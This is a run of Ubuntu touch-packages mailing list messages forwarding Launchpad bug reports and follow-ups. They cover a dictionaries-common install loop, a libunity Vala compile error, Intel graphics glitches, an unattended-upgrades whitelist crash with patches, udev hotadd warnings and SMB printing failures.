https://bugs.launchpad.net/ubuntu/+source/gnome-shell/+bug/1715435/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1909319] [NEW] package dictionaries-common 1.27.2 failed to install/upgrade: triggers looping, abandoned
Public bug reported: Upgrading from terminal ProblemType: Package DistroRelease: Ubuntu 18.04 Package: dictionaries-common 1.27.2 Uname: Linux 4.9.140-tegra aarch64 ApportVersion: 2.20.9-0ubuntu7.21 Architecture: arm64 Date: Fri Dec 25 00:46:45 2020 ErrorMessage: triggers looping, abandoned PackageArchitecture: all Python3Details: /usr/bin/python3.6, Python 3.6.9, python3-minimal, 3.6.7-1~18.04 PythonDetails: /usr/bin/python2.7, Python 2.7.17, python-minimal, 2.7.15~rc1-1 RelatedPackageVersions: dpkg 1.19.0.5ubuntu2.3 apt 1.6.12ubuntu0.2 SourcePackage: dictionaries-common Title: package dictionaries-common 1.27.2 failed to install/upgrade: triggers looping, abandoned UpgradeStatus: No upgrade log present (probably fresh install) ** Affects: dictionaries-common (Ubuntu) Importance: Undecided Status: New ** Tags: apport-package arm64 bionic -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to dictionaries-common in Ubuntu. https://bugs.launchpad.net/bugs/1909319 Title: package dictionaries-common 1.27.2 failed to install/upgrade: triggers looping, abandoned Status in dictionaries-common package in Ubuntu: New Bug description: Upgrading from terminal ProblemType: Package DistroRelease: Ubuntu 18.04 Package: dictionaries-common 1.27.2 Uname: Linux 4.9.140-tegra aarch64 ApportVersion: 2.20.9-0ubuntu7.21 Architecture: arm64 Date: Fri Dec 25 00:46:45 2020 ErrorMessage: triggers looping, abandoned PackageArchitecture: all Python3Details: /usr/bin/python3.6, Python 3.6.9, python3-minimal, 3.6.7-1~18.04 PythonDetails: /usr/bin/python2.7, Python 2.7.17, python-minimal, 2.7.15~rc1-1 RelatedPackageVersions: dpkg 1.19.0.5ubuntu2.3 apt 1.6.12ubuntu0.2 SourcePackage: dictionaries-common Title: package dictionaries-common 1.27.2 failed to install/upgrade: triggers looping, abandoned UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/dictionaries-common/+bug/1909319/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1908051] Re: error: Argument 7: Cannot convert from `void Unity.Internal.ScopeChannel.OwnerWatcher.owner_changed
' or `GLib.DBusError, GLib.IOError' public async void previous() throws IOError ^^ unity-sound-menu-mpris.vala:709.5-709.39: warning: DBus methods are recommended to throw at least `GLib.Error' or `GLib.DBusError, GLib.IOError' public async void activate_playlist (ObjectPath playlist_id) throws IOError ^^^ unity-sound-menu-mpris.vala:714.5-714.48: warning: DBus methods are recommended to throw at least `GLib.Error' or `GLib.DBusError, GLib.IOError' public async PlaylistDetails[] get_playlists (uint32 index, unity-sound-menu-mpris.vala:407.5-407.55: warning: DBus methods are recommended to throw at least `GLib.Error' or `GLib.DBusError, GLib.IOError' public abstract async void EnableTrackSpecificItems (ObjectPath object_path, string desktop_id) throws IOError; ^^^ unity-sound-menu-mpris.vala:408.5-408.56: warning: DBus methods are recommended to throw at least `GLib.Error' or `GLib.DBusError, GLib.IOError' public abstract async void EnablePlayerSpecificItems (ObjectPath object_path, string desktop_id) throws IOError; Compilation failed: 1 error(s), 22 warning(s) make[2]: *** [Makefile:1391: libunity_la_vala.stamp] Error 1 make[2]: Leaving directory '/home/jose/tmp/libunity/src' make[1]: *** [Makefile:573: all-recursive] Error 1 make[1]: Leaving directory '/home/jose/tmp/libunity' make: *** [Makefile:477: all] Error 2 Distro: Arch Linux Related: https://aur.archlinux.org/packages/libunity/ To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/libunity/+bug/1908051/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1908051] [NEW] error: Argument 7: Cannot convert from `void Unity.Internal.ScopeChannel.OwnerWatcher.owner_changed
Public bug reported:
make returns:
unity-protocol.vapi:242.4-242.43: warning: DBus methods are recommended to
throw at least `GLib.Error' or `GLib.DBusError, GLib.IOError'
public abstract async void set_view_type (uint
view_type) throws GLib.IOError;
unity-launcher.vala:61.5-61.42: warning: DBus methods are recommended to throw
at least `GLib.Error' or `GLib.DBusError, GLib.IOError'
public HashTable query ()
^^
unity-scope-channel.vala:312.33-312.50: error: Argument 7: Cannot convert from
`void Unity.Internal.ScopeChannel.OwnerWatcher.owner_changed
(GLib.DBusConnection, string, string, string, string, GLib.Variant)' to `void
GLib.DBusSignalCallback (GLib.DBusConnection, string?, string, string, string,
GLib.Variant)'
DBusSignalFlags.NONE, this.owner_changed);
^^
unity-scope-channel.vala:269.9-269.52: warning: Access to possible `null'.
Perform a check or use an unsafe cast.
(transfer_model as DiffModel).commit_changes ();
unity-synchronizer.vala:93.5-93.18: warning: `GLib.HashTable.add' has been
deprecated since vala-0.26. Use GenericSet.add
unity-aggregator-scope-private.vala:434.7-434.28: warning: `GLib.HashTable.add'
has been deprecated since vala-0.26. Use GenericSet.add
unity-aggregator-scope-private.vala:606.7-606.72: warning: Access to possible
`null'. Perform a check or use an unsafe cast.
(category_merger as CategoryMergerByField).map_subscope_categories
(scope_id, proxy.categories_model);
^^
unity-aggregator-scope-private.vala:1308.7-1308.66: warning: Access to possible
`null'. Perform a check or use an unsafe cast.
(category_merger as CategoryMergerByScope).add_scope_mapping (owner,
scope_id);
unity-aggregator-scope-private.vala:1352.7-1352.66: warning: Access to possible
`null'. Perform a check or use an unsafe cast.
(category_merger as CategoryMergerByScope).add_scope_mapping (owner,
master_scope_id);
unity-scope-loader.vala:41.49-41.69: warning: `GLib.ModuleFlags.BIND_LAZY' has
been deprecated since vala-0.46. Use LAZY
unity-sound-menu-mpris.vala:475.5-475.27: warning: DBus methods are recommended
to throw at least `GLib.Error' or `GLib.DBusError, GLib.IOError'
public async void raise() throws IOError{
^^^
unity-sound-menu-mpris.vala:580.5-580.32: warning: DBus methods are recommended
to throw at least `GLib.Error' or `GLib.DBusError, GLib.IOError'
public async void play_pause() throws IOError
unity-sound-menu-mpris.vala:585.5-585.26: warning: DBus methods are recommended
to throw at least `GLib.Error' or `GLib.DBusError, GLib.IOError'
public async void next() throws IOError
^^
unity-sound-menu-mpris.vala:590.5-590.30: warning: DBus methods are recommended
to throw at least `GLib.Error' or `GLib.DBusError, GLib.IOError'
public async void previous() throws IOError
^^
unity-sound-menu-mpris.vala:709.5-709.39: warning: DBus methods are recommended
to throw at least `GLib.Error' or `GLib.DBusError, GLib.IOError'
public async void activate_playlist (ObjectPath playlist_id) throws IOError
^^^
unity-sound-menu-mpris.vala:714.5-714.48: warning: DBus methods are recommended
to throw at least `GLib.Error' or `GLib.DBusError, GLib.IOError'
public async PlaylistDetails[] get_playlists (uint32 index,
unity-sound-menu-mpris.vala:407.5-407.55: warning: DBus methods are recommended
to throw at least `GLib.Error' or `GLib.DBusError, GLib.IOError'
public abstract async void EnableTrackSpecificItems (ObjectPath
object_path, string desktop_id) throws IOError;
^^^
unity-sound-menu-mpris.vala:408.5-408.56: warning: DBus methods are recommended
to throw at least `GLib.Error' or `GLib.DBusError, GLib.IOError'
public abstract async void EnablePlayerSpecificItems (ObjectPath
object_path, string desktop_id) throws IOError;
Compilation failed: 1 error(s), 22 warning(s)
make[2]: *** [Makefile:1391: libunity_la_vala.stamp] Error 1
make[2]: Leaving directory '/home/jose/tmp/libunity/src'
make[1]: *** [Makefile:573: all-recursive] Error 1
make[1]: Leaving directory '/home/jose/tmp/libunity'
make: *** [Makefile:477: all] Error 2
Distro: Arch Linux
Related: https://aur.archlinux.org/packages/libunity/
** Affects: libunity (Ubuntu)
Importance: Undecided
Status: New
--
You received
[Touch-packages] [Bug 1890135] [NEW] LInes/Flickers occur in upper half of the screen.
Public bug reported: Lines or flickers occur in upper half of the screen while playing videos(1080p).I think some frames are being dropped. Had the same problem with Ubuntu 18.04. I think this is some issue with Intel HD Graphics drivers in the system.Ready to do any follow up procedures. Earlier when I used Ubuntu 16.04 there was no such problem. ProblemType: Bug DistroRelease: Ubuntu 20.04 Package: xorg 1:7.7+19ubuntu14 ProcVersionSignature: Ubuntu 5.4.0-42.46-generic 5.4.44 Uname: Linux 5.4.0-42-generic x86_64 ApportVersion: 2.20.11-0ubuntu27.4 Architecture: amd64 CasperMD5CheckResult: skip CompositorRunning: None Date: Mon Aug 3 16:24:16 2020 DistUpgraded: Fresh install DistroCodename: focal DistroVariant: ubuntu ExtraDebuggingInterest: Yes, if not too technical GraphicsCard: Intel Corporation Skylake GT2 [HD Graphics 520] [8086:1916] (rev 07) (prog-if 00 [VGA controller]) Subsystem: Hewlett-Packard Company Skylake GT2 [HD Graphics 520] [103c:81ec] Subsystem: Hewlett-Packard Company Sun XT [Radeon HD 8670A/8670M/8690M / R5 M330 / M430 / Radeon 520 Mobile] [103c:81ec] InstallationDate: Installed on 2020-07-31 (3 days ago) InstallationMedia: Ubuntu 20.04 LTS "Focal Fossa" - Release amd64 (20200423) Lsusb: Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 003: ID 04f2:b56c Chicony Electronics Co., Ltd HP TrueVision HD Bus 001 Device 002: ID 0bda:b008 Realtek Semiconductor Corp. Bluetooth Radio Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub MachineType: HP HP Notebook ProcEnviron: LANGUAGE=en_IN:en TERM=xterm-256color PATH=(custom, no user) LANG=en_IN SHELL=/bin/bash ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.4.0-42-generic root=UUID=d981cf87-c80a-4e9c-b4a1-e2c2073a35ed ro quiet splash vt.handoff=7 SourcePackage: xorg UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 08/01/2016 dmi.bios.vendor: Insyde dmi.bios.version: F.14 dmi.board.asset.tag: Type2 - Board Asset Tag dmi.board.name: 81EC dmi.board.vendor: HP dmi.board.version: 61.30 dmi.chassis.asset.tag: Chassis Asset Tag dmi.chassis.type: 10 dmi.chassis.vendor: HP dmi.chassis.version: Chassis Version dmi.modalias: dmi:bvnInsyde:bvrF.14:bd08/01/2016:svnHP:pnHPNotebook:pvrType1ProductConfigId:rvnHP:rn81EC:rvr61.30:cvnHP:ct10:cvrChassisVersion: dmi.product.family: 103C_5335KV G=N L=CON B=HP dmi.product.name: HP Notebook dmi.product.sku: Z1D92PA#ACJ dmi.product.version: Type1ProductConfigId dmi.sys.vendor: HP version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.101-2 version.libgl1-mesa-dri: libgl1-mesa-dri 20.0.8-0ubuntu1~20.04.1 version.libgl1-mesa-glx: libgl1-mesa-glx N/A version.xserver-xorg-core: xserver-xorg-core 2:1.20.8-2ubuntu2.2 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:19.1.0-1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20200226-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.16-1 ** Affects: xorg (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-bug focal ubuntu -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1890135 Title: LInes/Flickers occur in upper half of the screen. Status in xorg package in Ubuntu: New Bug description: Lines or flickers occur in upper half of the screen while playing videos(1080p).I think some frames are being dropped. Had the same problem with Ubuntu 18.04. I think this is some issue with Intel HD Graphics drivers in the system.Ready to do any follow up procedures. Earlier when I used Ubuntu 16.04 there was no such problem. ProblemType: Bug DistroRelease: Ubuntu 20.04 Package: xorg 1:7.7+19ubuntu14 ProcVersionSignature: Ubuntu 5.4.0-42.46-generic 5.4.44 Uname: Linux 5.4.0-42-generic x86_64 ApportVersion: 2.20.11-0ubuntu27.4 Architecture: amd64 CasperMD5CheckResult: skip CompositorRunning: None Date: Mon Aug 3 16:24:16 2020 DistUpgraded: Fresh install DistroCodename: focal DistroVariant: ubuntu ExtraDebuggingInterest: Yes, if not too technical GraphicsCard: Intel Corporation Skylake GT2 [HD Graphics 520] [8086:1916] (rev 07) (prog-if 00 [VGA controller]) Subsystem: Hewlett-Packard Company Skylake GT2 [HD Graphics 520] [103c:81ec] Subsystem: Hewlett-Packard Company Sun XT [Radeon HD 8670A/8670M/8690M / R5 M330 / M430 / Radeon 520 Mobile] [103c:81ec] InstallationDate: Installed on 2020-07-31 (3 days ago) InstallationMedia: Ubuntu 20.04 LTS "Focal Fossa" - Release amd64 (20200423) Lsusb: Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 003: ID 04f2:b56c Chicony Electronics Co., Ltd HP TrueVision HD Bus 001 Device 002: ID 0bda:b008 Realtek Semiconductor Corp. Bluetooth Radio Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0
[Touch-packages] [Bug 1872802] Re: Resizing any window will randomly result in glitchy appearance for a fraction of a second
I'm finding this issue also on both google chrome and firefox browsers. Graphics: Graphics: Mesa Intel® HD Graphics 520 (SKL GT2) on the Intel® Core™ i5-6300U CPU @ 2.40GHz × 4 -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to mesa in Ubuntu. https://bugs.launchpad.net/bugs/1872802 Title: Resizing any window will randomly result in glitchy appearance for a fraction of a second Status in gnome-shell package in Ubuntu: Confirmed Status in mesa package in Ubuntu: Confirmed Status in mutter package in Ubuntu: Confirmed Bug description: When resizing any window in any direction the window can appear glitchy as presented in the screenshot. This glitchy appearance is restored immediately. The issue seems to be seen less often when the CPU is utilized more heavily, as when I recorded the screen with OBS to grab the screenshot. The screenshots shows gnome-system-monitor, but I could trigger it with Firefox, gnome-terminal and others. No such issues were experienced with previously installed Ubuntu Mate or Windows 10. Graphics: Mesa Intel® HD Graphics 620 (KBL GT2) on the Intel® Core™ i5-7200U CPU @ 2.50GHz × 4 ProblemType: Bug DistroRelease: Ubuntu 20.04 Package: gnome-shell 3.36.1-4ubuntu1 ProcVersionSignature: Ubuntu 5.4.0-21.25-generic 5.4.27 Uname: Linux 5.4.0-21-generic x86_64 ApportVersion: 2.20.11-0ubuntu26 Architecture: amd64 CasperMD5CheckResult: skip CurrentDesktop: ubuntu:GNOME Date: Tue Apr 14 20:45:47 2020 DisplayManager: gdm3 InstallationDate: Installed on 2020-04-14 (0 days ago) InstallationMedia: Ubuntu 20.04 LTS "Focal Fossa" - Beta amd64 (20200402) RelatedPackageVersions: mutter-common 3.36.1-3ubuntu1 SourcePackage: gnome-shell UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-shell/+bug/1872802/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1883082] Re: Crash when using Package-Whitelist-Strict
I'm attaching a second version of the patch to build package for focal.
IMHO this one should be good to do a SRU (minus the ~ppa3 version
suffix).
I did it on top of the 2.3 branch from the git repo:
https://github.com/mvo5/unattended-upgrades
I built a package for testing remporarily available here:
https://launchpad.net/~panfaust/+archive/ubuntu/unattended-upgrades
** Patch added: "ua_whitelist_strict_crash_focal_sru.diff"
https://bugs.launchpad.net/ubuntu/+source/unattended-upgrades/+bug/1883082/+attachment/5382959/+files/ua_whitelist_strict_crash_focal_sru.diff
--
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to unattended-upgrades in
Ubuntu.
https://bugs.launchpad.net/bugs/1883082
Title:
Crash when using Package-Whitelist-Strict
Status in unattended-upgrades package in Ubuntu:
In Progress
Status in unattended-upgrades source package in Focal:
New
Bug description:
Hi,
I'm trying to use unattended-upgrades only with a few packages from a
list; to do that I tried this simple /etc/apt/apt.conf.d/51local-ua
file:
root@focal-ua:~# cat /etc/apt/apt.conf.d/51local-ua
Unattended-Upgrade::Package-Whitelist-Strict "true";
Unattended-Upgrade::Package-Whitelist {
"firefox";
"bash";
"openssh-server";
}
When running unattended-upgrades in dry run mode I get this crash:
root@focal-ua:~# unattended-upgrade --debug --dry-run
Running on the development release
Starting unattended upgrades script
Allowed origins are: o=Ubuntu,a=focal, o=Ubuntu,a=focal-security,
o=UbuntuESMApps,a=focal-apps-security, o=UbuntuESM,a=focal-infra-security,
o=UbuntuESM,a=focal-security
Initial blacklist:
Initial whitelist (strict): firefox bash openssh-server
Marking not allowed
with -32768 pin
Marking not allowed
with -32768 pin
Marking not allowed
with -32768 pin
Marking not allowed
with -32768 pin
Marking not allowed with -32768 pin
Marking not allowed
with -32768 pin
Marking not allowed with -32768 pin
Marking not allowed
with -32768 pin
Marking not allowed with -32768 pin
Marking not allowed
with -32768 pin
An error occurred: '>' not supported between instances of 'apt_pkg.Version'
and 'int'
Traceback (most recent call last):
File "/usr/bin/unattended-upgrade", line 1983, in main
res = run(options, rootdir, mem_log, logfile_dpkg,
File "/usr/bin/unattended-upgrade", line 2124, in run
cache = UnattendedUpgradesCache(rootdir=rootdir)
File "/usr/bin/unattended-upgrade", line 171, in __init__
apt.Cache.__init__(self, rootdir=rootdir)
File "/usr/lib/python3/dist-packages/apt/cache.py", line 170, in __init__
self.open(progress)
File "/usr/bin/unattended-upgrade", line 330, in open
self.apply_pinning(self.pinning_from_config())
File "/usr/bin/unattended-upgrade", line 302, in pinning_from_config
and policy.get_candidate_ver(pkg) > -1: # type: ignore
TypeError: '>' not supported between instances of 'apt_pkg.Version' and 'int'
Extracting content from
/var/log/unattended-upgrades/unattended-upgrades-dpkg.log since 2020-06-11
09:38:25
Traceback (most recent call last):
File "/usr/bin/unattended-upgrade", line 2512, in
sys.exit(main(options))
File "/usr/bin/unattended-upgrade", line 1983, in main
res = run(options, rootdir, mem_log, logfile_dpkg,
File "/usr/bin/unattended-upgrade", line 2124, in run
cache = UnattendedUpgradesCache(rootdir=rootdir)
[Touch-packages] [Bug 1883082] Re: Crash when using Package-Whitelist-Strict
NOTE: the patch I pasted above was done editing directly /usr/bin
/unattended-upgrades so it doesn't pass the unit tests, so a package
built with that patch would FTBFS. I will attach a new version of the
patch as soon as I have something actually working.
--
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to unattended-upgrades in
Ubuntu.
https://bugs.launchpad.net/bugs/1883082
Title:
Crash when using Package-Whitelist-Strict
Status in unattended-upgrades package in Ubuntu:
New
Bug description:
Hi,
I'm trying to use unattended-upgrades only with a few packages from a
list; to do that I tried this simple /etc/apt/apt.conf.d/51local-ua
file:
root@focal-ua:~# cat /etc/apt/apt.conf.d/51local-ua
Unattended-Upgrade::Package-Whitelist-Strict "true";
Unattended-Upgrade::Package-Whitelist {
"firefox";
"bash";
"openssh-server";
}
When running unattended-upgrades in dry run mode I get this crash:
root@focal-ua:~# unattended-upgrade --debug --dry-run
Running on the development release
Starting unattended upgrades script
Allowed origins are: o=Ubuntu,a=focal, o=Ubuntu,a=focal-security,
o=UbuntuESMApps,a=focal-apps-security, o=UbuntuESM,a=focal-infra-security,
o=UbuntuESM,a=focal-security
Initial blacklist:
Initial whitelist (strict): firefox bash openssh-server
Marking not allowed
with -32768 pin
Marking not allowed
with -32768 pin
Marking not allowed
with -32768 pin
Marking not allowed
with -32768 pin
Marking not allowed with -32768 pin
Marking not allowed
with -32768 pin
Marking not allowed with -32768 pin
Marking not allowed
with -32768 pin
Marking not allowed with -32768 pin
Marking not allowed
with -32768 pin
An error occurred: '>' not supported between instances of 'apt_pkg.Version'
and 'int'
Traceback (most recent call last):
File "/usr/bin/unattended-upgrade", line 1983, in main
res = run(options, rootdir, mem_log, logfile_dpkg,
File "/usr/bin/unattended-upgrade", line 2124, in run
cache = UnattendedUpgradesCache(rootdir=rootdir)
File "/usr/bin/unattended-upgrade", line 171, in __init__
apt.Cache.__init__(self, rootdir=rootdir)
File "/usr/lib/python3/dist-packages/apt/cache.py", line 170, in __init__
self.open(progress)
File "/usr/bin/unattended-upgrade", line 330, in open
self.apply_pinning(self.pinning_from_config())
File "/usr/bin/unattended-upgrade", line 302, in pinning_from_config
and policy.get_candidate_ver(pkg) > -1: # type: ignore
TypeError: '>' not supported between instances of 'apt_pkg.Version' and 'int'
Extracting content from
/var/log/unattended-upgrades/unattended-upgrades-dpkg.log since 2020-06-11
09:38:25
Traceback (most recent call last):
File "/usr/bin/unattended-upgrade", line 2512, in
sys.exit(main(options))
File "/usr/bin/unattended-upgrade", line 1983, in main
res = run(options, rootdir, mem_log, logfile_dpkg,
File "/usr/bin/unattended-upgrade", line 2124, in run
cache = UnattendedUpgradesCache(rootdir=rootdir)
File "/usr/bin/unattended-upgrade", line 171, in __init__
apt.Cache.__init__(self, rootdir=rootdir)
[Touch-packages] [Bug 1883082] Re: Crash when using Package-Whitelist-Strict
I'm attaching a diff to show a possible solution for this.
** Patch added: "ua_whitelist_strict_crash.diff"
https://bugs.launchpad.net/ubuntu/+source/unattended-upgrades/+bug/1883082/+attachment/5382869/+files/ua_whitelist_strict_crash.diff
--
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to unattended-upgrades in
Ubuntu.
https://bugs.launchpad.net/bugs/1883082
Title:
Crash when using Package-Whitelist-Strict
Status in unattended-upgrades package in Ubuntu:
New
Bug description:
Hi,
I'm trying to use unattended-upgrades only with a few packages from a
list; to do that I tried this simple /etc/apt/apt.conf.d/51local-ua
file:
root@focal-ua:~# cat /etc/apt/apt.conf.d/51local-ua
Unattended-Upgrade::Package-Whitelist-Strict "true";
Unattended-Upgrade::Package-Whitelist {
"firefox";
"bash";
"openssh-server";
}
When running unattended-upgrades in dry run mode I get this crash:
root@focal-ua:~# unattended-upgrade --debug --dry-run
Running on the development release
Starting unattended upgrades script
Allowed origins are: o=Ubuntu,a=focal, o=Ubuntu,a=focal-security,
o=UbuntuESMApps,a=focal-apps-security, o=UbuntuESM,a=focal-infra-security,
o=UbuntuESM,a=focal-security
Initial blacklist:
Initial whitelist (strict): firefox bash openssh-server
Marking not allowed
with -32768 pin
Marking not allowed
with -32768 pin
Marking not allowed
with -32768 pin
Marking not allowed
with -32768 pin
Marking not allowed with -32768 pin
Marking not allowed
with -32768 pin
Marking not allowed with -32768 pin
Marking not allowed
with -32768 pin
Marking not allowed with -32768 pin
Marking not allowed
with -32768 pin
An error occurred: '>' not supported between instances of 'apt_pkg.Version'
and 'int'
Traceback (most recent call last):
File "/usr/bin/unattended-upgrade", line 1983, in main
res = run(options, rootdir, mem_log, logfile_dpkg,
File "/usr/bin/unattended-upgrade", line 2124, in run
cache = UnattendedUpgradesCache(rootdir=rootdir)
File "/usr/bin/unattended-upgrade", line 171, in __init__
apt.Cache.__init__(self, rootdir=rootdir)
File "/usr/lib/python3/dist-packages/apt/cache.py", line 170, in __init__
self.open(progress)
File "/usr/bin/unattended-upgrade", line 330, in open
self.apply_pinning(self.pinning_from_config())
File "/usr/bin/unattended-upgrade", line 302, in pinning_from_config
and policy.get_candidate_ver(pkg) > -1: # type: ignore
TypeError: '>' not supported between instances of 'apt_pkg.Version' and 'int'
Extracting content from
/var/log/unattended-upgrades/unattended-upgrades-dpkg.log since 2020-06-11
09:38:25
Traceback (most recent call last):
File "/usr/bin/unattended-upgrade", line 2512, in
sys.exit(main(options))
File "/usr/bin/unattended-upgrade", line 1983, in main
res = run(options, rootdir, mem_log, logfile_dpkg,
File "/usr/bin/unattended-upgrade", line 2124, in run
cache = UnattendedUpgradesCache(rootdir=rootdir)
File "/usr/bin/unattended-upgrade", line 171, in __init__
apt.Cache.__init__(self, rootdir=rootdir)
[Touch-packages] [Bug 1883082] [NEW] Crash when using Package-Whitelist-Strict
Public bug reported:
Hi,
I'm trying to use unattended-upgrades only with a few packages from a
list; to do that I tried this simple /etc/apt/apt.conf.d/51local-ua
file:
root@focal-ua:~# cat /etc/apt/apt.conf.d/51local-ua
Unattended-Upgrade::Package-Whitelist-Strict "true";
Unattended-Upgrade::Package-Whitelist {
"firefox";
"bash";
"openssh-server";
}
When running unattended-upgrades in dry run mode I get this crash:
root@focal-ua:~# unattended-upgrade --debug --dry-run
Running on the development release
Starting unattended upgrades script
Allowed origins are: o=Ubuntu,a=focal, o=Ubuntu,a=focal-security,
o=UbuntuESMApps,a=focal-apps-security, o=UbuntuESM,a=focal-infra-security,
o=UbuntuESM,a=focal-security
Initial blacklist:
Initial whitelist (strict): firefox bash openssh-server
Marking not allowed
with -32768 pin
Marking not allowed
with -32768 pin
Marking not allowed
with -32768 pin
Marking not allowed
with -32768 pin
Marking not allowed with -32768 pin
Marking not allowed
with -32768 pin
Marking not allowed with -32768 pin
Marking not allowed
with -32768 pin
Marking not allowed with -32768 pin
Marking not allowed
with -32768 pin
An error occurred: '>' not supported between instances of 'apt_pkg.Version' and
'int'
Traceback (most recent call last):
File "/usr/bin/unattended-upgrade", line 1983, in main
res = run(options, rootdir, mem_log, logfile_dpkg,
File "/usr/bin/unattended-upgrade", line 2124, in run
cache = UnattendedUpgradesCache(rootdir=rootdir)
File "/usr/bin/unattended-upgrade", line 171, in __init__
apt.Cache.__init__(self, rootdir=rootdir)
File "/usr/lib/python3/dist-packages/apt/cache.py", line 170, in __init__
self.open(progress)
File "/usr/bin/unattended-upgrade", line 330, in open
self.apply_pinning(self.pinning_from_config())
File "/usr/bin/unattended-upgrade", line 302, in pinning_from_config
and policy.get_candidate_ver(pkg) > -1: # type: ignore
TypeError: '>' not supported between instances of 'apt_pkg.Version' and 'int'
Extracting content from
/var/log/unattended-upgrades/unattended-upgrades-dpkg.log since 2020-06-11
09:38:25
Traceback (most recent call last):
File "/usr/bin/unattended-upgrade", line 2512, in
sys.exit(main(options))
File "/usr/bin/unattended-upgrade", line 1983, in main
res = run(options, rootdir, mem_log, logfile_dpkg,
File "/usr/bin/unattended-upgrade", line 2124, in run
cache = UnattendedUpgradesCache(rootdir=rootdir)
File "/usr/bin/unattended-upgrade", line 171, in __init__
apt.Cache.__init__(self, rootdir=rootdir)
File "/usr/lib/python3/dist-packages/apt/cache.py", line 170, in __init__
self.open(progress)
File "/usr/bin/unattended-upgrade", line 330, in open
[Touch-packages] [Bug 1876018] [NEW] 40-vm-hotadd.rules attempts to set non-existent sysfs parameters
Public bug reported:
In focal, udev's 40-vm-hotadd.rules (from debian/extra/rules-ubuntu)
tries to write to invalid (as of 5.4.0-1010-azure) sysfs nodes resulting
in warnings such as:
Apr 29 22:36:46 focal01 systemd-udevd[266]: memory7:
/usr/lib/udev/rules.d/40-vm-hotadd.rules:9 Failed to write
ATTR{/sys/devices/system/memory/memory7/state}, ignoring: Invalid
argument
Perhaps 40-vm-hotadd.rules needs to be updated for 5.4 semantics,
removed, or something else. This behavior is present on systems upgraded
from 18.04 (via d-r-u) as well as new focal systems, upon first reboot
of the VM.
udev: 245.4-4ubuntu3
** Affects: systemd (Ubuntu)
Importance: Undecided
Status: New
--
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1876018
Title:
40-vm-hotadd.rules attempts to set non-existent sysfs parameters
Status in systemd package in Ubuntu:
New
Bug description:
In focal, udev's 40-vm-hotadd.rules (from debian/extra/rules-ubuntu)
tries to write to invalid (as of 5.4.0-1010-azure) sysfs nodes
resulting in warnings such as:
Apr 29 22:36:46 focal01 systemd-udevd[266]: memory7:
/usr/lib/udev/rules.d/40-vm-hotadd.rules:9 Failed to write
ATTR{/sys/devices/system/memory/memory7/state}, ignoring: Invalid
argument
Perhaps 40-vm-hotadd.rules needs to be updated for 5.4 semantics,
removed, or something else. This behavior is present on systems
upgraded from 18.04 (via d-r-u) as well as new focal systems, upon
first reboot of the VM.
udev: 245.4-4ubuntu3
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1876018/+subscriptions
--
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help : https://help.launchpad.net/ListHelp
Re: [Touch-packages] [Bug 1849859] Re: smb printing fails
This workaround don't work for my. The /etc/cups/printers.conf file is erased and automoatically rewiriter when the computer is initiated anf I find in this file the line "AuthInfoRequired none" instead of "AuthInfoRequired username,password" after I edited the file. Greetings El lun., 17 feb. 2020 a las 9:35, Diego (<1849...@bugs.launchpad.net>) escribió: > Thank you...It works > > -- > You received this bug notification because you are subscribed to a > duplicate bug report (1853743). > https://bugs.launchpad.net/bugs/1849859 > > Title: > smb printing fails > > Status in cups package in Ubuntu: > Confirmed > Status in samba package in Ubuntu: > Confirmed > Status in system-config-printer package in Ubuntu: > Confirmed > > Bug description: > when I connect to smb server (nas) permanently appears > > "Error while getting peer-to-peer dbus connection: Operation was > cancelled" > > The printer at this NAS doesn't work too. > > "held for authentication KeyError: 'auth-info-required'" > > The same printer at usb port works fine. > > Ubuntu development version 20.04 > system-config-printer version 1.5.11-4ubuntu1 > smbclient version 2:4.10.7+dfsg-0ubuntu3 > > To manage notifications about this bug go to: > https://bugs.launchpad.net/ubuntu/+source/cups/+bug/1849859/+subscriptions > -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to cups in Ubuntu. https://bugs.launchpad.net/bugs/1849859 Title: smb printing fails Status in cups package in Ubuntu: 